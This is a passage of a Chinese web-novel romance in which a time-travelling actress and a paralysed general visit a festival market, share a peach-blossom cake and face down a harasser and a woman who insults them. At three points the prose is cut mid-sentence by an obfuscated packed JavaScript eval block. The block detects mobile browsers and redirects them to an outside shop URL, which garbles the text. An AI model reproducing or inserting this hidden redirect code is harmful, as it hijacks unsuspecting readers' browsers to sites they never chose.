他笑言道:“你不必担心,我有分寸。况且城内并不大,到时若是撑不住,提前回来便好!” 温其玉和叶之萤一样,自来这里那天起就再也没有出过门,整日关在这房里,没病也得生出病来,叶之萤想,如果他的身体真能撑住,出去走走,接触接触自然,吸收吸收天地精华,肯定比待在这只能照进分寸阳光的屋子里要好得多! “那就给你个面子,恭敬不如从命!”叶之萤嘴上装作勉强的样子,心里却不知道有多开心,刚才还开玩笑说他打扮得好看是要出去约会,搞了半天,原来就是和自己约会啊…… “要不我先抱你上床躺会儿?一会儿出去还要坐好久,现在就不要浪费体力了。”她怕他坐太久撑不住,便如此提议。 他却笑着摇头:“我有分寸,你不必担心我,快吃饭吧!” 说完,他的目光又落在了自己的腰上。她这才发现,他的腰上绑着一条和衣服颜色差不多的带子,带子两端穿过一个玉做的腰扣,腰扣摆在身体正前方,而长出来的带子则自然垂下,不仔细看还以为是一条正常的腰带。这条带子将他的身体和轮椅靠背绑在一起,将他的上半身固定在靠背上。 她顿时心生怜惜和同情。等反应过来时,轮椅上的人已将她刚才的同情尽收眼底。她懊恼不已,他如今恢复成这样已经比之前强很多了,难得他没有自暴自弃,还饶有兴致要陪自己逛街,自己实在不该如此表情扫了他的兴。 果然,他皱起了眉头,低头看了眼自己的身体,叶之萤心里“咯噔”一下。 “怎么?莫不是这绦带的颜色与衣裳不相配?”他出乎意料地笑了起来。 清晨的日光是温柔且舒适的,此时,正慷慨地从窗户洒进来,将二人皆罩在金色的晨曦中。 正如叶之萤面前那个同晨光一般温暖的人,在她人生最寒冷、最孤独的时刻,为她带来了一束温暖的光亮! 她很想对他说一声谢谢,但又觉得仅仅一句“谢谢”远远无法表达她对他的感情。最终,她冲他灿然一笑,一片星河霎时在她的眼底荡漾。 温其玉的大脑瞬间一片空白,时间仿佛在这一刻静止了,这张笑脸霸道地闯进了他的脑海,并在里面迅速膨胀,挤走了他脑中其他的一切,除了她,他已经不能再想到任何事物了。 偌大的世界都不存在了,他的眼、他的耳、他的心,全都被她霸占,除了眼前的叶之萤,他什么也看不到,什么也听不到。她占据了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991662|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的整个世界! 他头一次如此放肆而赤裸地盯着某个人看,但这还不够,他甚至希望时间能永远在这一刻静止下来,这样,他就可以不顾一切永远将这张脸…… 叶之萤之前从没在温其玉的眼里看到过这样含情脉脉的眼神。没错,就是含情脉脉——如果她没理解错的话。他的眼神向来正派,此时却不可思议地透出一种情欲,那是一种被深深吸引后放弃抵抗、甘愿沦陷的情欲。 看到这样的眼神,叶之萤第一反应竟然是兴奋、是欣喜若狂,她被自己的反应吓了一跳。 叶之萤,你疯了吧!别人多看你两眼就是喜欢你? 她轻晃了两下脑袋,叫醒了自己,又咳了两下,试图让对面的人也清醒过来,而后拘谨地走到桌边坐下,回到了刚才的主题:“我敢肯定这颜色不是阿力选的。” 温其玉大脑依旧一片空白,他早就不记得刚才二人说过什么了,努力回忆了一会儿,才反应过来叶之萤在说什么,这才假装淡定地接话:“哦?为何如此肯定?” 叶之萤指着自己身上的红衣蓝裙,撇了撇嘴,笑道:“因为这才是他的审美啊!” 说完,二人都笑了,刚才的事似乎就这样不着痕迹地翻篇了。 “咦,这是?”桌上放着一根用五色线编成的绳子和一只绿色的香包,端午节有带五色绳的习俗,虽然她以前从来没戴过,但是这个习俗她是知道的,香包就更不用说了。 “手绳驱邪避灾,香囊祛病驱虫,这都是为你准备的,快戴上吧!”他道。 叶之萤一一戴好后,向他挥了挥手,展示了一下手腕上的绳子,然后问他:“你戴了吗?” 他低头看了眼自己的手腕,无奈不能抬起来展示给她看,只能轻轻地点了下头。 为了赶快出门,她狼吞虎咽地吃着桌上的菜和饭,吃相极为不雅,温其玉看不下去,生怕她噎住,几次提醒她慢慢吃。 “我吃好啦!稍微等我下,我去取个东西!”她跑回自己的房间,略微收拾了一下头发,用李渔的胭脂涂了脸颊和嘴唇,又把自己所有的家当——当初被她勉强收下的十两银子——全部拿了出来。一想到可以出去逛街购物,看看黎城的全貌,心里便按耐不住的兴奋,连走路的步子都不由变得轻快。 等再回到温其玉房里时,关若飞、阿卓、阿力都已经在房里了。 “夜莺,你……你今天比平时更美了!”关若飞一脸花痴地望着她。 她随便一摆手:“李渔那儿也没什么化妆品,只有一盒胭脂而已,要是有根眉笔就更好了。” 她的脸生得几乎完美,若是非要说有什么缺点,那就是眉毛淡了些,所以对她来说,大刀阔斧的妆容,都不如轻轻描眉对气质的影响大。 “你拿的什么呀?”关若飞指着她手里的包袱问道。 “银子!” “你拿银子做什么?”他反问她。 “买东西啊!” “咳!与我和兄长一同外出,怎么还能让你花自己的银子?快放回去!”说着,他就准备从她手中抢过包袱。 叶之萤敏捷地躲开了他的手:“我自己买东西,怎么能花你们的钱?” “可是,你才有多少银子?”关若飞显然看不上她怀里那仨瓜俩枣。 她瞥了他一眼:“有多多花,没多少花!走吧!” 40. 恋人未满 一行五人,就这样浩浩荡荡地出发了。关若飞和阿卓走在最前面,叶之萤在中间,阿力推着温其玉在最后面。 关若飞的兴致极高,从出门开始就叽叽喳喳说个不停,还时不时地凑到叶之萤身边跟她聊天,而叶之萤则时不时和身后的温其玉找些话题。一路上,温其玉都很安静,他坐在轮椅上,目光细细地流淌过面前的每一块风景,刚出门时,她发现他连呼吸都有些不稳,随着时间推移,才逐渐恢复了平静。 他的宅子在黎城比较偏僻的地方,步行半个小时左右,才来到了城中最热闹的地方。 一路走来,道路两侧的房子都不高,大多是一层或两层,都是“人”形房顶,放眼望去高低起伏、参差错落,有种不同于现代精致建筑的随性和安逸,极具中式美感。 接近午时,家家烟囱里都冒着浓烟,时不时从里面传来“咚咚”的切菜声,还有小孩子欢乐的嬉笑声。 还有些则是商铺,卖米的、卖布的、卖糕点的、打铁的,很是有烟火气。又赶上节日,走到最热闹的地方,街上全是各种摊位,大小物件、琳琅满目,人们都走在道路两侧,中间是马和马车经过,和现代的街道完全不同。叶之萤四处张望,就像红楼梦里的刘姥姥进了大观园,看什么都稀罕。 “夜莺,觉得如何呀?黎城是不是很大,很热闹?”关若飞笑着问她,语气中透露着得意。 “大?”听他这么问,她不可思议地睁大了眼睛,他对“大”这个字是有什么误解吗? 他指着前方说:“那边还有很多街道我们都没过去呢。” “原来这样就算大的了。”叶之萤自言自语着。对于从小生长在真正的大城市的她来说,这样的城郭实在和“大”不沾边,心里不免又有些失落。 “叶小姐,你的家乡是什么样的啊?”看到她的反应,阿力倒是好奇地问起来。温其玉抬着头,似乎也对她来的地方很是感兴趣。 “我的家乡啊……”她看大家都很好奇,本想跟他们讲一讲的,可话到嘴边,又不知该从何处讲起,人始终无法想象自己没见过的东西,现代社会的繁华程度,即使告诉他们,他们也想象不到、理解不了,于是只说了一句,“我的家乡和这里完全不同。” 关若飞等了一会儿,发现她似乎没有再说第二句的打算,又问她:“这……这就完了?没有了?” “完了。没了。” 他被扫了兴,拉着阿力和阿卓去一个打铁的铺子前看剑去了。 而此时,不远处一个摊位上放着的一个小小的青色圆瓷盒也吸引了叶之萤的注意,她离开温其玉,走到到摊位前,看到那里面放着红色的膏体,猜想应该是胭脂。 “小娘子生得可真美,就像神仙下凡一般!”她刚拿起那盒胭脂,男摊主就主动与她搭话了。语气腻得仿佛蒙了一层猪油,听得叶之萤浑身难受,她没抬头,打算把手里的瓷盒放回原位就走。 谁知,却在半路被一只手拦住了,那只手不偏不倚摸碰到她手背上,一下子恶心到她了。 叶之萤翻起眼睑,厌恶地瞥了他一眼。那是一张纵欲过度的脸,眼皮肥肿、眼球浑浊,色气满溢,正堆着过于油腻的□□,多看一眼都让人浑身犯恶心。 那人见她生了气,笑容更放肆了:“姑娘如此美的脸蛋,定要试试手中这款玉容胭脂膏,只涂一点在脸颊,就能面若桃花、容光焕发,再涂一点在双唇,保管鲜嫩得犹如少女一般,娇艳欲滴、我见犹怜!” 说完,竟伸手想来握她的手,她眼疾手快先一步把手藏在了身后。 那人竟不知廉耻地回味起来:“小娘子的手背可真滑!” 叶之萤放下手中的瓷盒,挑眉笑道:“不光很滑,还很香呢!不信你闻闻。” 一边说,一边将左手抬到他面前轻轻晃着挑逗他。 那人大喜过望,悄悄观察了下四周,在确定没人注意自己后,兴奋地低头准备闻她手上的味道,正在他陶醉之时…… “啪”!叶之萤狠狠朝他左脸甩了个清脆的巴掌。 就在他被这个猝不及防的巴掌扇地愣住时…… “啪”!右脸也是一巴掌。 周围格外热闹,以至于并没有人注意到这两个巴掌。 他的脸很快就红肿起来,两边脸颊都明显浮起了她的手印,看起来煞是滑稽。叶之萤忍不住捂嘴笑了起来。 几秒过后,他脸色骤变,一手捂着脸,一手指着她低声骂道:“你个贱人!敢打老子!” 叶之萤收起笑脸,不紧不慢地说道:“打你怎么了?你要还手啊?今日街上这么多人,可是出名最好的时机了!” 她斜着眼睛瞥他,他的脸上不均匀的一片红一片白,又想发狠又不敢的样子让她不禁发笑。 又色又怂。这样的人她见得多了。 果然,那人恶狠狠地瞪她一眼,压低声音悻悻道:“算老子倒霉!” “倒霉?”她白了他一眼,“活该!” 此时,关若飞和阿卓正在试一把剑,阿力也悠闲地看一个摊位的魔术表演,周围人头攒动,他们都没有注意到叶之萤刚刚发生了什么。只有温其玉,他面朝她的方向坐着,面色铁青,右手五根指头都攥在了一起,显然是目睹了全程! 这样的事情对叶之萤而言,着实算不上新鲜,她看到温其玉为此生气了,便冲他咧嘴一笑,当做无事发生一样走到了他面前。 “你怎么不让阿力推你到处逛逛?”她蹲下来问他。 他的表情看起来很是纠结:“你……” 她轻轻捂住他的嘴,笑着对他摇头,不让他再说下去。 他果然没有再说话,但表情却始终凝重。她只好用手按住他的眉心,轻轻抹平,安慰他道:“小事而已,处理这种小事,对我来讲就是手拿把掐,你是知道的,我不会让自己吃亏的!好啦,难得出来一趟,别被这种小事影响了心情,开心一点儿嘛!” 说完,也不等他再开口,就站起身,叫了其他三人,又推着他往前继续走, 但很快,几人就各自被集市上感兴趣的玩意儿所吸引,再一次走散了。 集市上的东西比叶之萤预想得多很多,吃喝玩乐都有,很多东西她连见都没见过,难免好奇心大发,兴奋地推着温其玉到处逛,有时候刚推着他在一个摊位前站定,就又被另一个摊位的东西所吸引,又急急忙忙推他去另一边,而他则任由她推着,在各个摊位前穿梭。 “这是什么?看起来很好吃的样子。”她的脚步停在了一个卖糕点的摊位前。那点心像是用米粉做的,里面夹着枣红色和粉色的馅儿。 “这是桃花糕,想吃吗?”他问她。 她犹豫着点点头:“那就尝一下吧。”说完,就回头问老板,“这个怎么卖?” “一文钱一块。” “一文钱?”她才发现自己好像没有铜钱。 “我腰上挂的荷包里有。”温其玉道。 叶之萤顺着他的目光看向他的腰间,发现他腰上挂着两只荷包,都是圆形的,一只蓝色,一只银黑色。 银黑色的那只通体是黑色的,但是布料里不知道加了什么,看起来银星点点,上面用金银线绣着几朵花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991663|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看不出来是什么花,扎口处的抽绳特意打了结编起来,她恰好认得,那是平安结。 蓝色的那只上面用各种颜色绣着一些花纹,她虽不认识,但知道这些花纹一定有着美好的寓意,扎口处同样有抽绳,两边的抽绳上各穿着四颗碧绿的玉珠,很是别致好看。 “在哪个里面?”她蹲在了他身边。 “蓝色的。”他说。 叶之萤拉开蓝色荷包的抽绳,才发现抽绳上的玉珠每一颗都刻着字,便特意看了一下,一边四个字,两边的字连起来,是“如月之恒,如日之升”。 心里有些不是滋味,她迅速从荷包里面取了一个铜钱,拉紧了抽绳。 “这是一文钱吗?”小声跟他确认,得到肯定的回答后才交给老板。 桃花糕十分清甜,有大米的清香、蜂蜜的甜香,还有桃花的淡雅花香。叶之萤凑近鼻子细细闻了闻,发出了“哇”的一声,忙把手中的米糕推到他嘴边,激动得像是发现了什么不得了的事:“很幸福的味道!尝一口吧。” 温其玉可能是没想到叶之萤会把米糕给他吃,温和地拒绝了:“不必了。” “一块儿吃呗!来,你先咬一口!” 二人拉扯了好几个回合,他就是不吃。 太不给面子了吧!叶之萤差一点就要生气了,但转念一想这个桃花糕怎么说也是他买的,刚拿到手就翻脸似乎也不合适…… “吃一口嘛!”既然硬的不行,那就来软的。 只是,这话一出口,连她自己都吓了一跳。除了戏里角色需要,或是为了某些利益被迫低头,她叶之萤这辈子都没在不演戏的情况下真心实意跟谁撒过娇,一个雄鹰般的女人,居然……撒!娇!了! 但不得不说,这一招很管用。 “你先吃。”他终于松了口。 “你请客你先吃!” 他又不愿意了,这下叶之萤的暴脾气也要上来了,就让他吃口点心而已,至于这么扭捏吗? “没下毒,放心吃吧啊!”语气已然不太美丽。 眼前的人显然是怕她发火,不敢再惹她,便小小地咬了一口。 “好吃吗?”她从身后弯腰趴到他耳边问他。 咦,他的表情看起来为什么怪怪的?难道是不好吃? 她也咬了一大口,正好咬掉了他的牙印。 “哇!好好吃!米糕很清香,里面的馅儿又不是很甜,桃花味淡淡的,一尝就知道没有添加,是纯天然的味道,太好吃了!” 他笑着听她叨叨,看起来有无限的耐心。 “你再吃一口?”她把桃花糕转了了个方向,把还没被她污染过的那一边对着他的嘴。 他又配合地咬了一口,明显比刚才那一口大,看来是被她声情并茂的形容感染了。 没想到自己还挺适合干销售的! “好吃吗?”她迫切地希望得到他的认可,看到他点头,又提议,“那要不,我们再买……” “你看他们多恩爱,娘子,我们也买一块桃花糕吧!”身边不知道何时多了一对年轻的夫妻。 叶之萤的话刚说了一半就被他们打断了,而他们说话的内容更是让她忍不住笑了起来。原来是把他俩也当成夫妻了。她瞥了眼温其玉,他脸上的笑有些不自然。 古人就是放不开,这么容易就害羞! “只是传说而已,不可当真!”那女子嘴上虽然不屑一顾,脸上却已经笑若桃花。 传说?什么传说?叶之萤的好奇心被他们的对话勾了起来,又看了眼温其玉,他的头埋得更低了。 41. 集市风波 “不如……我们去别处逛逛?”温其玉急着催叶之萤离开这里。 “不不不!”叶之萤却已经被那个所谓的传说吸引了,“我要听听到底是什么传说!” 轮椅上的人无奈叹了口气。 只听老板绘声绘色对那二人讲了起来:“虽是传说,但也是黎城千百年来都有的习俗,我这摊位上每日都有来买桃花糕共食的情侣,正所谓心诚则灵,不过一文钱而已,二位不妨一试。”说着,又用手指着叶之萤和温其玉,“你们看,这二位和你们一样,刚刚才买了一块桃花糕!” 他这一说果然有用,那两人当即买了一块,你一口我一口地吃了起来。 叶之萤却听得更迷糊了,情侣共食桃花糕?到底是什么传说和习俗,听了半天他们也没说清楚,于是开口问老板:“你们刚刚说的传说是什么呀?” “咳咳……”温其玉突然咳嗽了两声。 轮椅上的人此时表情很是不自在,有种如坐针毡的紧张,叶之萤瞬间就明白了这是个什么传说。 “原来你们不知道啊?”那老板还在火上浇油,“你们不是黎城人吧?我们黎城人爱花,家家敬花神,其中桃花神掌管着世间的情爱。在黎城有一个传说,若一对男女共食一块桃花糕,桃花神便会保佑他们。因此在黎城,夫妻拜堂时都会共食一块桃花糕,共饮一杯桃花酒,表示与尔携手、共度白头。刚刚你们二位一起吃了桃花糕,桃花神娘娘必定会保佑二位的!” 老板越说越起劲儿,而叶之萤手中的桃花糕却不香了,怪不得温其玉刚才百般推托不愿意吃,原来是怕吃一口就被自己赖上了啊! “你早就知道这个传说了吧?”她心里五味杂陈,虽然自知没有理由生气,却依然控制不了恼人的情绪。 他只轻轻地点了下头,没有再说话。 叶之萤也不知道还能说什么,她手里还拿着没吃完的桃花糕,吃也不是,扔也不是,纠结半饷,还是一把塞进了嘴里,拍了拍手上的渣子,推着某人离开了。 她觉得这实在太好笑了,太荒诞了!堂堂大将军,竟然相信什么“桃花神”,还被一个假到不能再假的传说吓得连她给的东西都不敢吃! 他就这么嫌弃自己吗?! 她黑着头往前走,气得就快要爆炸了!而轮椅上的人始终安静地坐着,一言不发,连句解释都没有。 “刚刚是我逼你吃的,那什么‘桃花神’’不会赖上你的,你不用担心!”终于,还是叶之萤先沉不住气,赌气地发泄起来。 “叶姑娘!”前面的人突然侧过头,语气极为郑重。 “怎么?”她不耐烦地应道。 “我从未相信那个传说。”他终于开口解释了。 “哦?”她停下了脚步,等着他继续说下去。 “白头偕老之所以能成为美好的祝福,正是因为世间没有几人能真正做到。溪流涓涓也好,海浪翻腾也罢,都因流水日夜不息才得以清澈而不腐,但饶是如此,也抵不过地震旱灾造成的河道干涸、海水枯竭。烈火熊熊,若要使之灿艳如初、与日月共生而不灭,则须不断为其添料助燃,但即便如此,一场倾盆之雨也足以将其全部浇灭。所谓爱,不仅需要一时的激情,更需要一生的悉心呵护,又岂是共食一块糕点、共饮一杯米酒便能求得永恒?”他解释得极为认真,生怕她再误会。 而这样一番言论,更是令叶之萤呆住了。不仅仅是为看似不谙情爱的温其玉对爱情有这样透彻的领悟而吃惊,更是因为他的爱情观竟与自己出奇的一致。 她绕到了他身前,依旧不打算原谅他:“既然不信,刚才何必百般推辞?” “我推辞是因为……我不确定你信不信。”他的语气有些伤感。 “什么意思?”叶之萤脑子里一些原本既定的答案轰然崩塌,与此同时又有一些新的东西涌入,变得凌乱不堪。 “若你信,我便不该吃,否则……”他深吸一口气,小声道,“便是为你徒增烦恼。” “抱歉,我不该吃的。”他居然向她道歉。 叶之萤在此时终于缕清了他的逻辑。 可是,彼时她心里却出现了另一个声音,她一点也不为此烦恼,相反,看他如此平静地说出这样的话,甚至脸上还带着笑,她的心格外得疼。 她蹲了下去,双手扶在轮椅两侧,神情已不似方才那般愤怒:“那为什么后来又吃了?” “因为你希望我吃,我不想让你不开心,我想……或许你永远不会听说这个传说。”说着,他便摇着头笑了起来,“只是没想到,甚至还没吃完一块桃花糕,你便知道了。” 她也“噗嗤”一声跟着他笑了起来:“你可真傻!” 他不说话,只是不自信地抬眼看她的反应,似乎还在为此事是否给她带来了烦恼而焦虑。 叶之萤随即拍了拍他的腿,安慰他:“别瞎想了,我也不信!只是,没看出来温少爷对感情也有这么深的感悟,经历过不少吧?” 见她又开自己玩笑,温其玉无奈地摇起了头,但看得出来,他脸上终于乌云散去。叶之萤也登时心情大好,购物瘾发作,推着他又开始在各个摊位前流连忘返。 叶之萤痴迷逛街,喜欢看那些稀奇古怪的东西。可平心而论,虽说古代审美很好,但大家所见到的古代文物大多都是官器,用料、配色、工艺都是当时的顶尖水准,是艺术品,自然雍容华贵、富丽堂皇。而这些摊位上卖的东西都是平民百姓用的,不仅算不上精致,甚至大多数东西都略显粗糙,和平日里见到的文物相去甚远,对叶之萤这个见惯了各种高奢、高定的明星来说只能说是好奇大于喜欢,除了吃的东西以外,其他东西并没能激起她的购买欲望。好奇心过后,就渐渐没了兴致。 一路上,她与温其玉的超高颜值组合也收获了超高的回头率。 这边,两个年轻女子正在议论他们,被二人听得清清楚楚。 其中一位女孩激动道:“你看你看,那位小娘子怎会如此貌美!” 另一个女孩则羞答答地笑道:“那位公子亦是丰神俊朗、气度不凡,不知是哪家的公子?” 叶之萤听闻,躬起身子,趴在温其玉耳边又开他的玩笑:“温其玉,那个女孩子对你有意思!” 温其玉:…… “不管是哪家公子,都已经有了佳人相伴!郎才女貌,甚是登对,我等只能望尘莫及了。”旁边那位姑娘轻叹,语气中尽显遗憾。 叶之萤:…… “咳咳……”温其玉不知是被哪句话呛到了,轻咳起来。 叶之萤也火速直起身子,只当刚才什么也没说。 那边,一对中年夫妻也在讨论。 女的说:“啧啧啧,长得这么俊,可惜是个残废!” 男的跟着说:“看那样子,不光腿动不了,怕是胳膊也废了,那两只手像鸡爪似的,怪吓人的。如此貌美的天仙,何故嫁给这样的废人?” 女的剜了男的一眼:“睁大你的狗眼看看,那公子穿的可是锦袍,上面的花纹都是织金的,还有腰上那枚玉环,一看就是价值连城,那可不是一般的废人,是个镶金的废人!你看那姑娘,妖里妖气的,长着一双勾魂眼,一看就不是省油的灯。” “可惜,实在是可惜!哎哎哎,你拧我耳朵作甚?” “好你个色鬼!看见漂亮的就□□上脑!色眯眯盯着人家看!你以为人家不嫁给那残废,就会嫁给你啊?那种狐狸精,也不看看你兜里有几两银子能吸引人家,真是痴心妄想!” 这个世界就是这样,瞬息万变,可能前一秒在你面前的还是蜜糖,后一秒就变成了砒霜。 叶之萤狠狠地瞪了那两人一眼,那是一个很胖的女人和一个很矮的男人。 “你声小点,人家都听见了!”那男子扯着自己的娘子的衣袖道。 那女人看到叶之萤瞪她,却更来劲儿了,一脸横肉冲叶之萤挑衅:“怎么?狐狸精被我说中了心思,心虚了?” 不仅骂了叶之萤,还当着这么多人的面一口一个“残废”、“废人”,叶之萤猜温其玉此刻肯定只想尽快离开此地,便硬忍下一口气推着他离开。 谁知,轮椅上的人却突然开口,声音不算大,却像冰刃一样寒冷犀利:“这位夫人,你可认识我身边这位姑娘?” 叶之萤没想到他竟然会主动与那人理论,惊讶地停下了脚步。 那女人与他们二人相隔不过一米左右,说话时原本就正看着他俩,被温其玉如此一问,竟也有些尴尬地不知所措:“不认……不认识。” “既不认识,又何故对陌生人如此大怨气?”他坐在轮椅上,声音听不出什么感情,气场却强大得可怕。 “我……我……”那女人自知理亏,或许亦是被眼前这男子的气场所震慑,结巴了半天也没想好怎么回。 “抱歉抱歉,都是我家夫人的错,扰了二位的雅兴,我代她向二位陪个不是,还请二位大人不记小人过,不要放在心上!”她身边那个男人脸上堆着假笑,不停地跟二人鞠躬道歉。 温其玉甚至不去看他,只冷冷道:“既是你家夫人的错,就请你家夫人回答。” 周围看热闹的人越围越多,叶之萤赶紧上前去劝他:“算了算了,他们都认错了,就别跟他们一般见识了,我们走吧……” 说完,就又打算推他走。 “不要动。”他说。 叶之萤瞬间不敢再动。 那女人被温其玉逼得脸上挂不住,又不愿意当着大家的面道歉,就那样架在那里强撑着一口气。 温其玉见她如此,更是步步紧逼:“这位姑娘并不认识夫人,亦未冒犯夫人,你二人原本井水不犯河水,夫人却对她出言不逊、恶语连连,如此行为我看与路边乱吠的野狗无异。” “你……”那女人听完这话恼羞成怒,怒目圆睁正要咆哮,却被她身边的丈夫连连拉住胳膊打断。 温其玉继续说道:“若夫人还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991664|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自认守礼之人,请立刻向这位姑娘道歉。” 那女人白眼一翻,一脸不屑:“不道歉又能怎样?” 温其玉笑言:“若夫人不觉得自己有错,也不愿道歉,那我们只当是路上被一条母狗挡了道,绕道走便是,只要夫人承认自己是一条母狗,我们自然不会再与畜生一般见识。” 话音一落,人群里哄然大笑,甚至还有人喝彩鼓掌。 那女人脸色大变,再也不忍了,冲着温其玉就是一通乱骂:“你还真是浑身都瘫嘴不瘫,难道我说错了吗?她不是看上你的钱,难不成是看上你瘫了的身子?” 说到这里,她用眼神将温其玉从头到脚扫了一遍,然后一脸鄙夷地笑了起来。 叶之萤此时再也忍不下去了,正要冲到那人面前,被温其玉发现了她的激动,连忙喊住她:“别过去!” “可是她……”她已经气出了眼泪,泪水正在眼圈打转。要不是考虑到温其玉的感受,她早就上去撕烂那女人的嘴了! “没事。”他朝她点了点头。 听了他的话,她真的没有再往前走。 温其玉看着对面那人,目光寒若冰霜,缓缓开口道:“这位夫人,请自重!你所说之事并不能伤我二人分毫,只显出说话之人的尖酸刻薄罢了。我看你衣着不凡,想来也是体面之人,今日又何以在众目睽睽之下撒泼耍赖、自轻自贱呢?与其一直站在这里被众人围观和非议,不如爽快向这位姑娘道歉,我们就此作罢。若你坚持要耗下去,那我们便奉陪到底,只是不知道一直耗在这里……”他冷笑一声,“是谁更丢脸?” 温其玉从头到尾都只是要求那女人跟自己道歉,可那女人明明也一口一个“废人”、“瘫子”地叫他,他又岂能对此心如止水、毫无波澜?叶之萤心里清楚,若非为了给自己出气,他压根不会留在这里被人羞辱。 “算了,夫人,此事确实是我们不对,就道个歉吧!”那男人开始劝他夫人。 “是啊,快道歉吧!” “本来就是你们不对,应该道歉!” “道歉!” “道歉……” 围观的人群也开始跟着骚动。 那女人被温其玉连带围观的众人架在火上翻来覆去地烤,眼看已经焦头烂额,意识到若是今日不道歉,恐怕是难以离开这个地方。围观的人越来越多,她说的那些话被来回议论,她本人也被一波又一波的围观者审判,毕竟错在她,这样的局面自然对她不利,她急得冒了一头的细汗,这才不情不愿跟叶之萤说了句抱歉。 她的态度极其敷衍,敷衍到叶之萤并不想接受。 “夫人既然想通了,就请真诚些。”温其玉依旧不紧不慢。 “我已道过歉了,你们还想怎样?”那女人虽然嘴上这样说,却明显有些心虚。 温其玉只冷冷地看着她,并不作答。 被温其玉盯着,她心更虚了,态度终于比刚才软了些:“对不住,刚刚是我不对,因对姑娘心怀嫉妒,说话冒犯了二位,请二位原谅!” 温其玉侧头征求叶之萤的意见,她向他点了点头,表示可以了,他这才也点了点头:“我们走吧。” 叶之萤便推着他离开了这里。与此同时,看热闹的人群也渐渐散去。 “刚才,谢谢你!”她一边推着他往前走,一边对他说。 他没有说话,看起来还是不太高兴。 “你不喜欢那种场面吧?”说这句话时,叶之萤鼻子一酸,流出了眼泪。她赶紧用手把脸上的眼泪抹掉。他的自尊心那么强,却为了给自己出气坐在那里被人围观,被人当众叫“残废”羞辱…… 温其玉没有回头,自然看不见她哭了,只是淡淡地问她:“若是不必考虑我的感受,遇到这样的事,你会算了吗?” 当然不会!她这个人一直以来都秉承着一个做人的原则,那就是睚眦必报。今日之事,若不是考虑到温其玉的感受,她早就上去扇那女人若干个巴掌了。和温其玉相处了几个月,他早已摸清了她的脾气。 “是因为与我一起,所以才要委屈自己吗?”他的声音听上去透着深深的失望。 “可是她在众目睽睽之下那样说你,你也会难受的啊!我不想让你难堪,难道错了吗?”叶之萤觉得委屈,又红了眼眶。 温其玉这回听出了她的哽咽,转过头来又看到她通红的眼眶,一时间怒意全消,只剩自责:“本想着一起出来你会高兴些,没想到才一个时辰不到,就又惹你生气又惹你哭,这……该如何是好?” 是啊!难得出来一趟,叶之萤也不想坏了气氛,便就坡下驴:“好吧,看在你陪我出来的份儿上,就不怪你了。” “叶姑娘。”他又叫住了她。 “少爷还有何指教?” “无论何时,你都可放心大胆地做你自己,若是因我而要令你备受委屈,那我日后……便不好再陪你出来了。” “好你个温其玉,你敢威胁我!” 42. 误闯“黑”店 突然,有两个人风风火火冲到了他们面前,叶之萤回头一看,是关若飞和阿力。 “你们去哪儿啦?怎么都没看到你们?”刚刚的事闹得并不小,他们如果在附近,看到了不可能不过去帮忙。 关若飞指着远处的一个暗红色牌匾道:“兄长,我刚刚带他们俩去前面的‘白玉楼’订了个厢房,饭菜我都点好了,等到午时就可以直接过去吃了。那厢房里有套间,还有床可以休息,你累吗?要不让阿力先送你过去休息?我陪夜莺逛。” “不用。” “不用!” 二人竟然异口同声地拒绝了。叶之萤偷偷瞥了眼温其玉,没想到他也正在看自己,电光火石间,俩人都慌慌张张收回了自己的目光。 “这么早就去订位?”她随便岔开了话题。 “这家酒楼的厢房只有四间,可要提早订,晚了就没了!虽说已经交了定钱,但今日人多,我让阿卓在那儿守着,省得被人占了。对了夜莺,你不是要买衣裳吗?挑好了吗?” “还……还没。”叶之萤也不知道自己在紧张什么,“那个,既然包间都定好了,要不就先去吃饭吧。” “可是你不是要买衣裳吗?那边有家绸缎庄,要不要去看看?”关若飞指着和酒楼相反的方向问她。 “那边也有一家布庄。”温其玉看着酒楼那边的方向说,他没看叶之萤也没看关若飞,反倒是像在自言自语。 “是吗?”关若飞往那个方向瞄了一眼,看起来并不知道那儿也有家布庄,“先去我说的这家吧,他家的料子你穿着肯定好看!” 叶之萤白了他一眼:“我穿什么不好看?” “是是是!是我说错了!”关若飞极其配合地打了下自己的嘴,又道,“夜莺,我看你不是逛好了,是看不上这小摊上的东西吧?” 一语中的。 叶之萤笑而不语。 于是他指着绸庄那排铺子跟她介绍起来:“这一排你还没看吧,好东西都在店里头,这家‘福裕绸庄’是邺国最好最大的绸庄,整个西南就这一家。那边的‘觅珍阁’,它家的珠宝首饰也颇受世家千金们的喜爱,我保你定会喜欢!” “是吗?”他说得天花乱坠,叶之萤一下被勾起了兴致,毕竟她最爱亮闪闪的珠宝了,便急不可耐道,“那就先去‘觅珍阁’看看吧。” 